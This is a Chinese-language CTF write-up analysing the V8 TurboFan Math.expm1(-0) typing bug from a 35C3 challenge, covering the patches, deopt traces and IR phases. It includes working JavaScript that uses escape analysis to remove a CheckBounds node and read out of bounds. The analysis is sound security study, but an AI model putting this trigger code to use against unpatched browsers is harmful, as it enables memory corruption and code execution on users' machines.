分析了一下Math.expm1(-0)
的OOB
的洞,发现小到可能觉得只是个功能特性问题,并不是一个bug
的漏洞,也能够通过一些极其巧妙的方法来达到一个意想不到的漏洞利用。
相关issue
在这里:
关键的在这里:
function foo() {
return Object.is(Math.expm1(-0), -0);
}
console.log(foo());
%OptimizeFunctionOnNextCall(foo);
console.log(foo());
$ ./d8 --allow-natives-syntax expm1-poc.js
true
false
可能乍一看,也就是一个特性问题,正不正确的其实也没多大关系..漏洞发现者开始也是这么觉得的..但是后来他才发现这个漏洞是完全可利用的RCE
。该漏洞修复了两次,第一次官方只patch
了一个文件operation-typer.cc
,后面又patch
了typer.cc
文件。patch
记录可以参考如下:
这里就拿35C3
上的题来说,作者拿了他发现的这个洞去出了题,出的是只打了operation-typer.cc
没有打typer.cc
的题。现在我们直接来分析一下,先看看两个patch
:
operation-typer.cc
:
Type OperationTyper::NumberExpm1(Type type) {
DCHECK(type.Is(Type::Number()));
- return Type::Union(Type::PlainNumber(), Type::NaN(), zone());
+ return Type::Number();
}
Type OperationTyper::NumberFloor(Type type) {
typer.cc
:
@@ -1433,7 +1433,6 @@
// Unary math functions.
case BuiltinFunctionId::kMathAbs:
case BuiltinFunctionId::kMathExp:
- case BuiltinFunctionId::kMathExpm1:
return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
case BuiltinFunctionId::kMathAcos:
case BuiltinFunctionId::kMathAcosh:
@@ -1443,6 +1442,7 @@
case BuiltinFunctionId::kMathAtanh:
case BuiltinFunctionId::kMathCbrt:
case BuiltinFunctionId::kMathCos:
+ case BuiltinFunctionId::kMathExpm1:
case BuiltinFunctionId::kMathFround:
case BuiltinFunctionId::kMathLog:
case BuiltinFunctionId::kMathLog1p:
需要说明的是这时候的CheckBounds
检查还是可以消除的。
从patch
来看修改了MathExpm1
的type
类型,本来是PlainNumber加NaN
类型的,现在修改成了Number
类型。PlainNumber
类型表示除-0之外的任何浮点数,但是这是在TurboFan
当中的,实际不优化过程是被当作浮点数的,浮点数是包括-0
的。所以这就产生了错误。
当我们直接运行Poc
的话,仍然会得到一样的结果,我们先看看IR显示结果:
function test(x){
var b = Object.is(Math.expm1(x),-0);
return b; //a[b * 4];
}
print(test(-0));
for (var i = 0; i < 100000; i++) {
test(1);
}
print(test(-0));
这里直接显示了Number
类型,原因是他打了operation-typer.cc
的补丁,导致TurboFan
猜测类型结果为Number
类型,所以导致后面可真也可假,不会触发bug
。那我们要怎么去利用typer.cc
没有打上的patch
呢?我们首先得知道typer.cc
上JSCallTyper
函数是拿来用在内置函数优化上的,而不是NumberExpm1
上的,OperationTyper::NumberExpm1
是用在普通优化Math.expm1
函数上的。所以我们需要利用内置函数上的bug
去触发,那么我们该怎么去触发Math.expm1
出现在内置函数的优化上呢,这就需要去优化了:
该函数Math.expm1
是数字输入的优化结点,也就是说TurboFan
推测该函数输入将会是一个数字。如果运行的确实是一个数字的话,那么它就继续执行代码,但是如果不是一个数字,优化函数将会把不是一个数字的结果反馈给解释器,那么会执行一个“去优化”,此时解释器将会使用内置函数,他可以接受所有的类型。下次编译之后,TurboFan
会有反馈信息通知他输入的并不总是数字,从而会产生内置函数的调用,而不是NumberExpm1
的调用。
修改一下代码如下:
function test(x){
var b = Object.is(Math.expm1(x),-0);
return b; //a[b * 4];
}
print(test(-0));
for (var i = 0; i < 100000; i++) {
test("1");
}
print(test(-0));
此时再看IR会发现有两个文件,其中一个是正常NumberExpm1
优化,另一个就是内置函数的优化了,得到了一个Call
结点:
加上--trace-deopt
来查看一下去优化的信息:
[deoptimizing (DEOPT eager): begin 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)> (opt #0) @0, FP to SP delta: 24, caller sp: 0x7ffe301a06c0]
;;; deoptimize at <./exp.js:2:25>, not a Number or Oddball
reading FeedbackVector (slot 8)
reading input frame test => bytecode_offset=0, args=2, height=6, retval=0(#0); inputs:
0: 0x1bddfbb9df21 ; [fp - 16] 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)>
1: 0x234d92701521 ; [fp + 24] 0x234d92701521 <JSGlobal Object>
2: 0x28603cd042c9 ; rax 0x28603cd042c9 <String[1]: 1>
3: 0x1bddfbb81749 ; [fp - 24] 0x1bddfbb81749 <NativeContext[249]>
4: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
5: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
6: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
7: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
8: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
9: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
translating interpreted frame test => bytecode_offset=0, height=48
0x7ffe301a06b8: [top + 104] <- 0x234d92701521 <JSGlobal Object> ; stack parameter (input #1)
0x7ffe301a06b0: [top + 96] <- 0x28603cd042c9 <String[1]: 1> ; stack parameter (input #2)
-------------------------
0x7ffe301a06a8: [top + 88] <- 0x563b96976ef5 ; caller's pc
0x7ffe301a06a0: [top + 80] <- 0x7ffe301a0710 ; caller's fp
0x7ffe301a0698: [top + 72] <- 0x1bddfbb81749 <NativeContext[249]> ; context (input #3)
0x7ffe301a0690: [top + 64] <- 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)> ; function (input #0)
0x7ffe301a0688: [top + 56] <- 0x1bddfbb9e079 <BytecodeArray[43]> ; bytecode array
0x7ffe301a0680: [top + 48] <- 0x003900000000 <Smi 57> ; bytecode offset
-------------------------
0x7ffe301a0678: [top + 40] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #4)
0x7ffe301a0670: [top + 32] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #5)
0x7ffe301a0668: [top + 24] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #6)
0x7ffe301a0660: [top + 16] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #7)
0x7ffe301a0658: [top + 8] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #8)
0x7ffe301a0650: [top + 0] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; accumulator (input #9)
[deoptimizing (eager): end 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)> @0 => node=0, pc=0x563b969772c0, caller sp=0x7ffe301a06c0, took 0.129 ms]
Feedback updated from deoptimization at <./exp.js:2:25>, not a Number or Oddball
可以看见一些not a Number or Oddball
的信息,说明跟编译器推测的Number
类型不一样,从而发生了去优化,此时编译器在结点处猜测的类型为PlainNumber|NaN
,已经达到了我们所期望的结果了。
整个过程其实就是编译器先运行假设输入为Number
类型,当类型反馈告诉编译器此时的输入是一个字符串时,TurboFan
此时就会去优化,第二次编译该函数时,会调用输入可以为任何类型的内置函数来进行优化。达到期望效果。
总体来说,TurboFan
是根据类型反馈FeedBack
来工作的,还有一个点是“预测”。就是反馈和预测相结合来工作的。
接下来要考虑的就是该如何去触发OOB
的访问了。
先测试如下代码:
function test(x){
var a = [1.1,2.2,3.3,4.4];
var b = Object.is(Math.expm1(x),-0);
return a[b*4]; //a[b * 4];
}
for (var i = 0; i < 100000; i++) {
test("1");
}
print(test(-0));
直接看simplified lowering
阶段的IR
:
可以发现这里被折叠为直接取了数组的第零位。往前看看被折叠的最初始位置。
最开始可以在typer
阶段就可以看见,typer
阶段的SameValue
结点就已经折叠为false
了,后面自然就直接取index
为0了。具体可以看operation-typer.cc
的代码:
Type OperationTyper::SameValue(Type lhs, Type rhs) {
if (!JSType(lhs).Maybe(JSType(rhs))) return singleton_false();
if (lhs.Is(Type::NaN())) {
if (rhs.Is(Type::NaN())) return singleton_true();
if (!rhs.Maybe(Type::NaN())) return singleton_false();
} else if (rhs.Is(Type::NaN())) {
if (!lhs.Maybe(Type::NaN())) return singleton_false();
}
if (lhs.Is(Type::MinusZero())) {
if (rhs.Is(Type::MinusZero())) return singleton_true();
if (!rhs.Maybe(Type::MinusZero())) return singleton_false();
} else if (rhs.Is(Type::MinusZero())) {
if (!lhs.Maybe(Type::MinusZero())) return singleton_false(); --> fold false
} // hit here
if (lhs.Is(Type::OrderedNumber()) && rhs.Is(Type::OrderedNumber()) &&
(lhs.Max() < rhs.Min() || lhs.Min() > rhs.Max())) {
return singleton_false();
}
return Type::Boolean();
}
所以我们需要改变一下代码形式,使得SameValue
在该阶段不被折叠,也就是不被“发现就可以了”。
根据代码,我们有两种方式,第一种为使得左分支可能为-0
,第二种为使得右分支不为-0
。因为第一种是固定不能变的,所以我们只能从第二种方式下手,我们得把-0
右分支替换掉。
先试试这样的:
function test(x,y){
var a = [1.1,2.2,3.3,4.4];
var b = Object.is(Math.expm1(x),y);
return a[b*4]; //a[b * 4];
}
for (var i = 0; i < 100000; i++) {
test("1",-0);
}
print(test(-0,-0));
这时候虽然SameValue
结点会保留下来,但是到了simplified lowering
阶段的时候无法消除CheckBounds
,这样最终也是无法利用的,后面可以发现y
作为第二个参数Parameter[2]
结点为NotInternal
类型,该类型表示编译器不知道y
的类型,也就是说,y
也可以是-0
,那么SameValue
可真也可假,导致最后CheckBounds
结点无法消除。
这点得去好好研究一下TurboFan
的pipeline
运行机制。此处引用一个作者的图来表示pipeline
管道优化的大概流程:
typed-optimizitaion阶段会简化SameValue
结点,可以简化为ObjectIsMinusZero
结点,simpified-lowering阶段会简化ObjectIsMinusZero
结点,会直接将他折叠为false
常量。
又上面可知我们不希望在typer
阶段就被折叠为false
,也不希望CheckBounds
无法消除,那我们就需要将SameValue
结点保留到simpified-lowering
阶段,让这个阶段知道在和-0
比较,从而折叠为false
消除CheckBounds
结点。
也就是需要绕过typer-lowering
阶段稳定到simplified-lowering
阶段。
这时候我们可以用一下逃逸分析(escape-analysis
),代码改为如下:
function test(x){
var a = [1.1,2.2,3.3,4.4];
var c = {x:-0};
var b = Object.is(Math.expm1(x),c.x);
return a[b*4]; //a[b * 4];
}
for (var i = 0; i < 100000; i++) {
test("1");
}
print(test(-0));
逃逸分析阶段的作用就是简化非逃逸对象,什么叫非逃逸对象呢。
function test(){
var a = {x:1};
return a.x;
}
此时a
就叫非逃逸对象,因为他的x
属性值是固定不可变的,也就是说可以将a.x
直接折叠为1
。
function escape(x){
x.x = 2;
}
function test(){
var a = {x:1};
escape(a);
return a.x;
}
此时a
是逃逸对象,也就是说逃脱了test
的范围,因此就无法优化折叠了。
此时我们用以上更改过的代码跑之后就可以得到结果:
2.2741325538412e-310
显然我们已经成功OOB
了。还不够,此时我们再来看看IR
图。
typer
阶段:
显然已经不会被直接折叠为false
。
typed-lowering
阶段:
没有被简化为ObjectIsMinusZero
结点。
escape-analysis
阶段:
此时SameValue
右结点被折叠为-0
。
simpified-lowering
阶段:
此时checkbounds
结点被消除了。
所以SameValue
结点一直存活到了最后一个简化阶段。
这题目其实也可以先考虑“逃逸分析”后考虑“去优化”,也会发现一些有趣的东西,比如在十万次循环中写上的是"-0"
,那么还会多出一个NumberLessThan
结点等等,这就自行分析了不多说。分析到最后还是可以发现一些TurboFan
很奇怪的地方的。
发现TurboFan
最大的一个特点也是最重要的一个特点就是它的“惰性思维”,也就是说不断输入某个特定情况时,那么TurboFan
会以为以后的情况也是该种情况,从而优化代码也是按照该种情况来生成,这样就会产生许多问题。
这里其实有几个问题我是不太明白的。CheckBounds
是如何消除的?图中已经表明了CheckBounds
左分支为Range(0,4)
,那么4
不应该是已经超出Array MaxLength
了吗,为什么还能被消除呢?最后是SameValue
处右结点已经折叠为-0
了,那么之后反馈过程中一直为false
,为什么不折叠为index为0
呢直接取第一个元素呢,还是要用index offset
去取element
呢?